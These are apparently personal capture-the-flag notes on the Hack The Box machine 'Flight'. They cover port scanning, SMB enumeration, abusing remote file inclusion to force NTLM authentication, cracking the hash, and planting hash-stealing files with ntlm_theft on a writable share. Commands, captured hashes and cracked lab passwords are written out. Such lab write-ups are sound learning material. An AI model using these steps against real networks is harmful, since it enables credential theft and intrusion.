┌──(root㉿kali)-[~/box/flight]
└─# nmap -sC -A -p- -T4 10.10.11.187
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 19:29 EDT
Nmap scan report for 10.10.11.187
Host is up (0.041s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-11 00:44:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
49723/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-07-11T00:45:21
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 1h12m35s
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 40.27 ms 10.10.14.1
2 40.24 ms 10.10.11.187
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.87 seconds
┌──(root㉿kali)-[~/box/flight]
└─# nxc smb flight.htb -u 'guest' -p '' --rid-brute
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [-] flight.htb\guest: STATUS_ACCOUNT_DISABLED
403 GET 11l 47w 418c http://flight.htb/phpmyadmin
phpmyadmin exists, but we get a 403
403 GET 11l 47w 418c http://flight.htb/webalizer
ffuf found a subdomain:
school [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 40ms]
doing a basic LFI gives us a Suspicious activity! error - so it obviously knows what tomfoolery is going on.
RFI seems to work though!

┌──(root㉿kali)-[~/box/flight]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.187 - - [10/Jul/2024 20:54:20] "GET /test HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
looking at [[LFI, RFI, Wrappers#RFI]] lets try using a simple php shell for command execution
checkout [[LFI, RFI, Wrappers#also if you can 'remote file include' and call back to yourself, check SMB for hashes]] 
we were able to capture an ntlm challenge / hash
pass that into hashcat babey
PS A:\oven\HACKERMAN\hashcat-6.2.6> ./hashcat.exe -a 0 -m 5600 .\hashes\svc_apache.txt .\wordlist\rockyou.txt
PW: S@Ss!K@*t13
this pw also works for S.Moon user (might be important)
┌──(root㉿kali)-[~/box/flight]
└─# nxc smb flight.htb -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [*] Enumerated shares
SMB 10.10.11.187 445 G0 Share Permissions Remark
SMB 10.10.11.187 445 G0 ----- ----------- ------
SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin
SMB 10.10.11.187 445 G0 C$ Default share
SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC
SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share
SMB 10.10.11.187 445 G0 Shared READ,WRITE
SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ
we have a writeable SMB share so that should be a glowing sign saying "hey you should probably try and steal ntlm hashes here" our first attempt with a simple .scf file did not work, but there's a python script that creates quite a few different files that are capable of doing this [[SMB#writeable SMB share, capturing NTLM hashes]]
┌──(root㉿kali)-[~/git/ntlm_theft]
└─# python3 ntlm_theft.py -g all -s 10.10.14.6 -f tes
Created: tes/tes.scf (BROWSE TO FOLDER)
Created: tes/tes-(url).url (BROWSE TO FOLDER)
Created: tes/tes-(icon).url (BROWSE TO FOLDER)
Created: tes/tes.lnk (BROWSE TO FOLDER)
Created: tes/tes.rtf (OPEN)
[...]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash : c.bum::flight.htb:5d1d7565fe2a4ead:F7E3[....]
the pw for cbum is Tikkycoll_431012284
┌──(root㉿kali)-[~/box/flight]
└─# nxc smb flight.htb -u 'c.bum' -p 'Tikkycoll_431012284'
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\c.bum:Tikkycoll_431012284
damn we still don't have a shell with this user though
i remember from ldap dump though this user is apart of some group so lets check what the group can do 
maybe this is a good usage of bloodhound so lets try it out
messups:
- if you can get a webserver to call back to you with RFI, and its a windows system, its likely a good idea to try and capture an NTLM hash with responder